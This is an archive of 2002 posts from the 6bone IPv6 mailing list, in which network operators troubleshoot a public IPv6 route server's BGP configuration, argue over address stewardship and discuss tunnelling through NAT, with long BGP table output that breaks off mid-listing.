> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
> On 8 Aug 2002, Nicolas DEFFAYET wrote:
>
> > Hello,
> >
> > I opened a public IPv6 route server.
> >
> > You can try it:
> >
> > telnet route-server.ndsoftwarenet.net (IPv6 only)
> >
> > Anyone know another IPv6 route server ?
> > I can do a how-to if someone want setup a route server with zebra.
> >
> > Best Regards,
> >
> > Nicolas DEFFAYET
> >
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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From tvo@EnterZone.Net Wed Aug  7 18:06:36 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Daniel Austin <daniel@kewlio.net>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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On Thu, 8 Aug 2002, Daniel Austin wrote:

> Hi John,
> 
> I think there's mixed feelings about route servers...
> 
> BBNplanet's also only shows best paths - ner-routes.bbnplanet.net (v4 only)
> 
> I guess each has its advantages.  Personally, i prefer one that shows all
> routes as i have multiple providers and i quite frequently like to check
> that both of them are advertising my ip ranges ;-)
> I've found a couple of times that 1 of my providers have stopped advertising
> my prefixes onto major IX's which i wouldnt be able to see from, for
> example, BBNplanet's route server.
> 


I think it has to do with naming symantics.  To me, "route-server" means,
it shows all routes.  "route-views" means it shows the view from within a
particular network core.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From nicolas.deffayet@ndsoftware.net Wed Aug  7 18:06:59 2002
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Subject: Re: [6bone] IPv6 route server
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@mailman.isi.edu
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On Thu, 2002-08-08 at 01:54, John Fraizer wrote:

John,

> This would be slick if it acted like a route-server.  It only shows your
> selected best path from your border router(s) though.
> 
> route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> BGP routing table entry for 2001:4f0::/35
> Paths: (1 available, best #1, table Default-IP-Routing-Table)
>   Not advertised to any peer
>   13944
>     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
>     (fe80::260:97ff:fe0c:9803)
>       Origin IGP, metric 800, localpref 100, valid, internal, best
>       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
>       Last update: Thu Aug  8 01:43:08 2002

route-server.ndsoftwarenet.net> show ipv6 bgp 3ffe:300::
BGP routing table entry for 3ffe:300::/24
Paths: (2 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  2602 2200
    3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
    (fe80::260:97ff:fe0c:9803)
      Origin IGP, metric 600, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 02:54:56 2002

  513 2200
    3ffe:81f1:0:1::1 from 3ffe:81f1:0:1::1 (213.91.4.3)
      Origin IGP, metric 600, localpref 100, valid, internal
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 02:54:22 2002

route-server.ndsoftwarenet.net>

I don't understand why the 2nd router (62.4.18.114) don't send all
routes:

route-server.ndsoftwarenet.net> show ipv6 bgp summary
BGP router identifier 10.0.1.2, local AS number 65526
242 BGP AS-PATH entries
4 BGP community entries

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
State/PfxRcd
3ffe:81f1:0:1::1
                4 65526   22013    8778        0    0    0 00:01:23     
268
3ffe:81f1:0:2::1
                4 65526   18386    8810        0    0    0
00:00:49       39

Total number of neighbors 2
route-server.ndsoftwarenet.net>

I have in the both router (213.91.4.3 and 62.4.18.114):
neighbor 3ffe:81f1:0:2::2 route-server-client
neighbor 3ffe:81f1:0:2::2 transparent-as
neighbor 3ffe:81f1:0:2::2 transparent-nexthop

> 
> I really appreciate your taking the time to modify the zebra code and
> would like to see a patch against the latest CVS posted to the Zebra
> list.
> 
> I know that you peer with multiple other people that you should be seeing
> alternate paths to the above route via but, the route-server doesn't know
> about them.
> 
> If you want to see what I mean about the typical route-server showing
> multiple paths, telnet to route-views.oregon-ix.net and look up the ipv4
> prefix of your choice.
> 
> I don't know of anyone else running a telnet accessable route-server for
> v6 but, there are several people running my MRLG code with public access.
> 
> You can see an example at http://nitrous.ipv6.enterzone.net/
> 

Thanks for the link but a looking-glass is limited.

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Wed Aug  7 18:17:26 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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On 8 Aug 2002, Nicolas DEFFAYET wrote:

> I don't understand why the 2nd router (62.4.18.114) don't send all
> routes:
> 
> route-server.ndsoftwarenet.net> show ipv6 bgp summary
> BGP router identifier 10.0.1.2, local AS number 65526
> 242 BGP AS-PATH entries
> 4 BGP community entries
> 
> Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
> State/PfxRcd
> 3ffe:81f1:0:1::1
>                 4 65526   22013    8778        0    0    0 00:01:23     
> 268
> 3ffe:81f1:0:2::1
>                 4 65526   18386    8810        0    0    0
> 00:00:49       39
> 
> Total number of neighbors 2
> route-server.ndsoftwarenet.net>
> 
> I have in the both router (213.91.4.3 and 62.4.18.114):
> neighbor 3ffe:81f1:0:2::2 route-server-client
> neighbor 3ffe:81f1:0:2::2 transparent-as
> neighbor 3ffe:81f1:0:2::2 transparent-nexthop

You might want to try route-reflector client. I can't remember off the top
of my head what the behavior differences between the two are.  Also, make
sure that the route-server is NOT sending any routes to the other
routers.  

> > 
> > You can see an example at http://nitrous.ipv6.enterzone.net/
> > 
> 
> Thanks for the link but a looking-glass is limited.
> 

In what way?  I can send any command to a router from MRLG that I want
to.  The looking-glass is only as limited as the person who sets it up
wants it to be.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From pekkas@netcore.fi Wed Aug  7 22:44:26 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
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On Wed, 7 Aug 2002, John Fraizer wrote:
> This would be slick if it acted like a route-server.  It only shows your
> selected best path from your border router(s) though.
> 
> route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> BGP routing table entry for 2001:4f0::/35
> Paths: (1 available, best #1, table Default-IP-Routing-Table)
>   Not advertised to any peer
>   13944
>     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
>     (fe80::260:97ff:fe0c:9803)
>       Origin IGP, metric 800, localpref 100, valid, internal, best
>       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
>       Last update: Thu Aug  8 01:43:08 2002
> 
> I really appreciate your taking the time to modify the zebra code and
> would like to see a patch against the latest CVS posted to the Zebra
> list.
[...]

'soft-reconfiguration inbound' on the server's configuration should fix 
that.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From michel@arneill-py.sacramento.ca.us Wed Aug  7 23:01:18 2002
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Subject: RE: [6bone] 6bone pTLA 3FFE:4010::/32 allocated to ENTERZONE
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> John Fraizier wrote:
> If you're talking about 3ffe:1ced::/32,

Yes.

> I haven't decided.  If you would like to move into
> 3ffe:4010::/32, I will gladly do that.  I will be
> moving all tunnel addresses into the pTLA.

In all fairness, 3ffe:1ced::/32 has no place in the routing table; the
reason we see it today are know, exceptional, and valid short term but
not forever. Therefore, I suggest you dump it and use 3ffe:4010::/32.

Although we have disagreed on some topics, this is the right thing to do
and a good example to show.

Note to everyone that intends to whine about John renumbering: The irony
is that I established peering with John a few days ago. Soon, I will
have to reconfigure because John is going to renumber. Am I upset about
it? No.

This is the 6bone. Anyone not happy about it? Instead of getting IPv6
addresses for free, go *buy* some 2001:: ones.

Michel.


From gert@Space.Net Thu Aug  8 00:19:19 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Build a tunnel with modem/router that filter IP protocol 41
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Hi,

On Thu, Aug 08, 2002 at 12:43:16AM +0200, Nicolas DEFFAYET wrote:
[..]
> You can read on the eicon website
> (http://www.eicon.com/support/helpweb/adsl/vpn.asp):
> "The NAT Router built-in to the 24xx series allows only TCP, UDP, GRE,
> and ICMP protocols through. Any other protocols are silently dropped for
> security reasons."
[..]
> => What's the possibility for build a IPv6 over IPv4 with this
> modem/router ?

Depending on your IPv6 router's capabilities, you could do IPv6 over GRE -
this might work.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Thu Aug  8 02:49:32 2002
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Subject: Re: [6bone] IPv6 route server
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: John Fraizer <tvo@EnterZone.Net>, 6bone@mailman.isi.edu
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On Thu, 2002-08-08 at 07:44, Pekka Savola wrote:
> On Wed, 7 Aug 2002, John Fraizer wrote:
> > This would be slick if it acted like a route-server.  It only shows your
> > selected best path from your border router(s) though.
> > 
> > route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> > BGP routing table entry for 2001:4f0::/35
> > Paths: (1 available, best #1, table Default-IP-Routing-Table)
> >   Not advertised to any peer
> >   13944
> >     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
> >     (fe80::260:97ff:fe0c:9803)
> >       Origin IGP, metric 800, localpref 100, valid, internal, best
> >       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
> >       Last update: Thu Aug  8 01:43:08 2002
> > 
> > I really appreciate your taking the time to modify the zebra code and
> > would like to see a patch against the latest CVS posted to the Zebra
> > list.
> [...]
> 
> 'soft-reconfiguration inbound' on the server's configuration should fix 
> that.
> 

I have this for all neighbors in all my routers.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Thu Aug  8 05:48:15 2002
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Subject: Re: [6bone] IPv6 route server
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: 6bone@mailman.isi.edu
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On Thu, 2002-08-08 at 03:17, John Fraizer wrote:
> 
> On 8 Aug 2002, Nicolas DEFFAYET wrote:
> 
> > I don't understand why the 2nd router (62.4.18.114) don't send all
> > routes:
> > 
> > route-server.ndsoftwarenet.net> show ipv6 bgp summary
> > BGP router identifier 10.0.1.2, local AS number 65526
> > 242 BGP AS-PATH entries
> > 4 BGP community entries
> > 
> > Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
> > State/PfxRcd
> > 3ffe:81f1:0:1::1
> >                 4 65526   22013    8778        0    0    0 00:01:23     
> > 268
> > 3ffe:81f1:0:2::1
> >                 4 65526   18386    8810        0    0    0
> > 00:00:49       39
> > 
> > Total number of neighbors 2
> > route-server.ndsoftwarenet.net>
> > 
> > I have in the both router (213.91.4.3 and 62.4.18.114):
> > neighbor 3ffe:81f1:0:2::2 route-server-client
> > neighbor 3ffe:81f1:0:2::2 transparent-as
> > neighbor 3ffe:81f1:0:2::2 transparent-nexthop
> 
> You might want to try route-reflector client. I can't remember off the top
> of my head what the behavior differences between the two are.  Also, make
> sure that the route-server is NOT sending any routes to the other
> routers.  

route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
BGP routing table entry for 2001:4f0::/35
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  13944
    3ffe:81f1:0:1::2 from 3ffe:81f1:0:1::1 (62.4.18.114)
      Origin IGP, metric 800, localpref 100, valid, internal
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Originator: 62.4.18.114, Cluster list: 213.91.4.3
      Last update: Thu Aug  8 14:40:27 2002

  13944
    3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
    (fe80::260:97ff:fe0c:9803)
      Origin IGP, metric 800, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:49:16 2002

route-server.ndsoftwarenet.net> show ipv6 bgp summary
BGP router identifier 10.0.1.2, local AS number 65526
243 BGP AS-PATH entries
4 BGP community entries

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
State/PfxRcd
3ffe:81f1:0:1::1
                4 65526     831      69        0    0    0 00:03:48     
289
3ffe:81f1:0:2::1
                4 65526    1235     120        0    0    0 00:54:49     
289

Total number of neighbors 2
route-server.ndsoftwarenet.net>

route-reflector client work fine.
I use neighbor 3ffe:81f1:0:2::2 route-reflector-client in the router
213.91.4.3 and 62.4.18.114.

Yes of course, i filter all announces of the route server.

Best Regards,

Nicolas DEFFAYET


From bmanning@ISI.EDU Thu Aug  8 05:28:33 2002
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Subject: Re: [6bone] ...buy...
In-Reply-To: <2B81403386729140A3A899A8B39B046405E253@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Aug 7, 2 11:01:09 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
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% This is the 6bone. Anyone not happy about it? Instead of getting IPv6
% addresses for free, go *buy* some 2001:: ones.
% 
% Michel.
% 

	One does not -buy- addresses. One is -delegated- a stewardship
	over a portion of the addressing resources with the expectation
	that they will be used in a prudent and reasonable manner.
	Holds true for 3ffe:: as well as 2001:0::  Nothing majik about
	either prefix.

-- 
--bill

From tvo@EnterZone.Net Thu Aug  8 06:01:40 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Pekka Savola <pekkas@netcore.fi>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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Pekka,

I am currious what soft-reconfiguration has to do with bestpath selection
and redistribution?


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Thu, 8 Aug 2002, Pekka Savola wrote:

> On Wed, 7 Aug 2002, John Fraizer wrote:
> > This would be slick if it acted like a route-server.  It only shows your
> > selected best path from your border router(s) though.
> > 
> > route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> > BGP routing table entry for 2001:4f0::/35
> > Paths: (1 available, best #1, table Default-IP-Routing-Table)
> >   Not advertised to any peer
> >   13944
> >     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
> >     (fe80::260:97ff:fe0c:9803)
> >       Origin IGP, metric 800, localpref 100, valid, internal, best
> >       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
> >       Last update: Thu Aug  8 01:43:08 2002
> > 
> > I really appreciate your taking the time to modify the zebra code and
> > would like to see a patch against the latest CVS posted to the Zebra
> > list.
> [...]
> 
> 'soft-reconfiguration inbound' on the server's configuration should fix 
> that.
> 
> -- 
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> 


From tvo@EnterZone.Net Thu Aug  8 06:07:07 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On 8 Aug 2002, Nicolas DEFFAYET wrote:

> Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down 
> State/PfxRcd
> 3ffe:81f1:0:1::1
>                 4 65526     831      69        0    0    0 00:03:48     
> 289
> 3ffe:81f1:0:2::1
>                 4 65526    1235     120        0    0    0 00:54:49     
> 289
> 
> Total number of neighbors 2
> route-server.ndsoftwarenet.net>
> 
> route-reflector client work fine.
> I use neighbor 3ffe:81f1:0:2::2 route-reflector-client in the router
> 213.91.4.3 and 62.4.18.114.
> 
> Yes of course, i filter all announces of the route server.
> 
> Best Regards,
> 
> Nicolas DEFFAYET

That shows two views now.  So, route-reflector-client worked better than
route-server-client?  Cool.  I'm currious.  If you do a sh ip bgp
2001:4f0::1 on your borders, how many paths do you see?

John


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From: Pekka Savola <pekkas@netcore.fi>
To: John Fraizer <tvo@EnterZone.Net>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   <6bone@mailman.isi.edu>
Subject: Re: [6bone] IPv6 route server
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On Thu, 8 Aug 2002, John Fraizer wrote:
> I am currious what soft-reconfiguration has to do with bestpath selection
> and redistribution?

There is a feature/bug [in Cisco (noticed on GSR 12.0(22)S) at least] that
unless you have soft-reconfiguration inbound, 'sh bgp ipv6 xxx' shows only 
the best path.

Looked quite similar to me, but perhaps I was taking conclusions too far
:-)

> On Thu, 8 Aug 2002, Pekka Savola wrote:
> 
> > On Wed, 7 Aug 2002, John Fraizer wrote:
> > > This would be slick if it acted like a route-server.  It only shows your
> > > selected best path from your border router(s) though.
> > > 
> > > route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> > > BGP routing table entry for 2001:4f0::/35
> > > Paths: (1 available, best #1, table Default-IP-Routing-Table)
> > >   Not advertised to any peer
> > >   13944
> > >     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
> > >     (fe80::260:97ff:fe0c:9803)
> > >       Origin IGP, metric 800, localpref 100, valid, internal, best
> > >       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
> > >       Last update: Thu Aug  8 01:43:08 2002
> > > 
> > > I really appreciate your taking the time to modify the zebra code and
> > > would like to see a patch against the latest CVS posted to the Zebra
> > > list.
> > [...]
> > 
> > 'soft-reconfiguration inbound' on the server's configuration should fix 
> > that.
> > 
> > -- 
> > Pekka Savola                 "Tell me of difficulties surmounted,
> > Netcore Oy                   not those you stumble over and fall"
> > Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
> > 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From nicolas.deffayet@ndsoftware.net Thu Aug  8 06:25:51 2002
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Subject: Re: [6bone] IPv6 route server
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Thu, 2002-08-08 at 15:07, John Fraizer wrote:
> 
> On 8 Aug 2002, Nicolas DEFFAYET wrote:
> 
> 
> That shows two views now.  So, route-reflector-client worked better than
> route-server-client?  Cool.  I'm currious.  If you do a sh ip bgp
> 2001:4f0::1 on your borders, how many paths do you see?

route-server-client don't work for me, when i try it i get a Idle state.
Cisco routers don't have route-server-client command...

parcr1.fr.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
BGP routing table entry for 2001:4f0::/35
Paths: (37 available, best #7, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:81f1:0:2::2 3ffe:81f1:1:2002::2 3ffe:81f1:1:2006::2
3ffe:81f1:1:2007::2 3
ffe:81f1:1:2009::2 3ffe:81f1:1:200a::2 3ffe:81f1:1:200b::2
3ffe:81f1:1:200c::2 3
ffe:81f1:1:2010::2 3ffe:81f1:1:2013::2 3ffe:81f1:1:2014::2
3ffe:81f1:1:2016::2 3
ffe:81f1:1:201f::2 3ffe:81f1:1:2020::2 3ffe:81f1:1:2023::2
3ffe:81f1:1:2027::2 3
ffe:81f1:1:2029::2 3ffe:81f1:1:202b::2 3ffe:81f1:1:202c::2
3ffe:81f1:1:202d::2 3
ffe:81f1:1:202e::2 3ffe:81f1:1:2034::2 3ffe:81f1:1:2036::2
3ffe:81f1:1:2042::2 3
ffe:81f1:1:2044::2 3ffe:81f1:1:2047::2 3ffe:81f1:1:2048::2
3ffe:81f1:1:2051::2 3
ffe:81f1:1:2056::2
  15671 5539 1930 13944
    2001:7b0:1ff::c from 2001:7b0:1ff::c (195.226.160.196)
    (fe80::c3e2:a0c4)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:38:00 2002

  6939 13944
    3ffe:81f1:1:2008::2 from 3ffe:81f1:1:2008::2 (64.71.128.26)
    (fe80::4047:801a)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:49 2002

  1849 24765 13944
    3ffe:81f1:1:2028::2 from 3ffe:81f1:1:2028::2 (158.43.131.66)
    (fe80::2d0:c0ff:feb9:1c)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:45 2002

  1251 109 109 13944
    3ffe:81f1:1:2041::2 from 3ffe:81f1:1:2041::2 (200.136.100.163)
    (fe80::c888:648d)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:44 2002

  5609 22 13944
    3ffe:1001:1:f021::1 from 3ffe:1001:1:f021::1 (163.162.170.132)
    (fe80::a3a2:aa84)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:40 2002

  5408 6939 13944
    3ffe:2d00:1::2c from 3ffe:2d00:1::2c (194.177.210.38)
    (fe80::c2b1:d226)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:38 2002

  13944
    3ffe:81f1:0:1::2 from 3ffe:81f1:0:1::2 (62.4.18.114)
    (fe80::3e04:16d4)
      Origin IGP, metric 800, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:37 2002

  15897 24765 13944
    3ffe:81f1:1:2038::2 from 3ffe:81f1:1:2038::2 (217.31.228.62)
    (fe80::d91f:e43e)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:35 2002

  2042 6435 13944
    3ffe:81f1:1:2012::2 from 3ffe:81f1:1:2012::2 (202.187.22.65)
    (fe80::cabb:1602)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:34 2002

  17715 6939 13944
    3ffe:81f1:1:2021::2 from 3ffe:81f1:1:2021::2 (203.66.90.5)
    (fe80::ca27:8e91)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:34 2002

  3265 8954 10566 13944
    3ffe:81f1:1:2035::2 from 3ffe:81f1:1:2035::2 (194.109.5.254)
    (fe80::c26d:5fe)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:33 2002

  8627 5539 1930 13944
    3ffe:81f1:1:2025::2 from 3ffe:81f1:1:2025::2 (194.139.3.28)
    (fe80::c28b:31c)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:32 2002

  8733 6830 6939 13944
    2001:730:2::1:2 from 2001:730:2::1:2 (213.46.162.251)
    (fe80::d52e:a2fb)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:29 2002

  15589 24765 13944
    3ffe:81f1:1:2017::2 from 3ffe:81f1:1:2017::2 (192.168.1.12)
    (fe80::3e5e:2e69)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:29 2002

  6830 6939 13944
    3ffe:81f1:1:2022::2 from 3ffe:81f1:1:2022::2 (213.46.232.250)
    (fe80::d52e:e7f3)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:29 2002

  13110 6939 13944
    3ffe:400c:feed::2 from 3ffe:400c:feed::2 (62.21.98.6)
    (fe80::3e15:6206)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:28 2002

  513 6939 13944
    3ffe:81f1:1:2011::2 from 3ffe:81f1:1:2011::2 (192.65.184.7)
    (fe80::c041:b907)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:28 2002

  5430 13285 6939 13944
    2001:748:100:a0::8 from 2001:748:100:a0::8 (62.104.191.66)
    (fe80::3e68:bf42)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:27 2002

  22 13944
    3ffe:81f1:1:2039::2 from 3ffe:81f1:1:2039::2 (198.253.28.59)
    (fe80::c6fd:1c3b)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:27 2002

  15982 6939 13944
    3ffe:81f1:1:2029::2 from 3ffe:81f1:1:2029::2 (217.26.64.34)
    (fe80::d91a:40a0)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:500 65526:502 65526:511 65526:521 65526:900
65526:1000 65
526:1500
      Last update: Thu Aug  8 14:37:26 2002

  278 6939 13944
    3ffe:81f1:1:2031::2 from 3ffe:81f1:1:2031::2 (192.100.200.226)
    (fe80::84f8:6cfe)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:25 2002

  4618 6435 13944
    3ffe:400b:400b:: from 3ffe:400b:400b:: (203.150.16.66)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:23 2002

  1654 24765 13944
    3ffe:200:1:45::1 from 3ffe:200:1:45::1 (193.10.66.219)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:23 2002

  9112 4554 13944
    3ffe:81f1:1:2018::2 from 3ffe:81f1:1:2018::2 (150.254.166.157)
    (fe80::96fe:a69d)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:23 2002

  6175 13944
    3ffe:2900:1:9::1 from 3ffe:2900:1:9::1 (208.19.223.30)
    (fe80::d013:df1e)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:21 2002

  3748 6939 13944
    3ffe:81f1:1:2033::2 from 3ffe:81f1:1:2033::2 (179.16.254.3)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:20 2002

  6342 6435 13944
    3ffe:81f1:1:2005::2 from 3ffe:81f1:1:2005::2 (131.178.107.1)
    (fe80::83b2:6408)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:20 2002

  2549 6435 13944
    3ffe:81f1:1:2032::2 from 3ffe:81f1:1:2032::2 (148.202.15.8)
    (fe80::94ca:f08)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:20 2002

  8379 6435 13944
    2001:768:e:9::1 from 2001:768:e:9::1 (195.143.108.134)
    (fe80::c38f:6c86)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:19 2002

  10566 13944
    3ffe:81f1:1:2004::2 from 3ffe:81f1:1:2004::2 (206.123.31.101)
    (fe80::290:27ff:fe17:fc0f)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:18 2002

  1752 1930 13944
    2001:7f8:2:c01d::2 from 2001:7f8:2:c01d::2 (213.121.24.91)
    (fe80::d579:185b)
